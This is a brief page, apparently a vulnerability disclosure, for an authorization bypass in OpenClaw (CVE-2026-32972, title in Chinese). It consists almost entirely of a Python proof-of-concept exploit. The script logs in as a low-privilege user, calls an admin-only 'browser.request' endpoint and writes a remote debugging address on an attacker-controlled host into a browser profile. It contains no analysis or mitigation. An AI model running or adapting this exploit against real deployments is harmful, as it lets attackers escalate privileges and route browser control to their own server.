CVE-2026-32972 OpenClaw权限绕过漏洞

import requests # Target configuration target_host = "http://vulnerable-openclaw-instance:8080" username = "low_priv_user" password = "user_password" # 1. Authenticate and obtain session token # The user only has 'operator.write' permissions login_payload = { "username": username, "password": password } session = requests.Session() login_resp = session.post(f"{target_host}/api/login", json=login_payload) if login_resp.status_code == 200: print("[+] Login successful") # 2. Exploit the authorization bypass # Accessing admin-only route 'browser.request' to modify profiles exploit_payload = { "action": "update_profile", "profile_id": "default", # Persisting attacker-controlled remote CDP endpoint "remote_debugging_address": "http://attacker-controlled-cdn.com:9222" } # The vulnerable endpoint fails to check for 'operator.admin' exploit_url = f"{target_host}/api/browser.request" resp = session.post(exploit_url, json=exploit_payload) if resp.status_code == 200: print("[+] Exploit successful! Malicious CDP endpoint persisted.") else: print(f"[-] Exploit failed, status code: {resp.status_code}") else: print("[-] Login failed")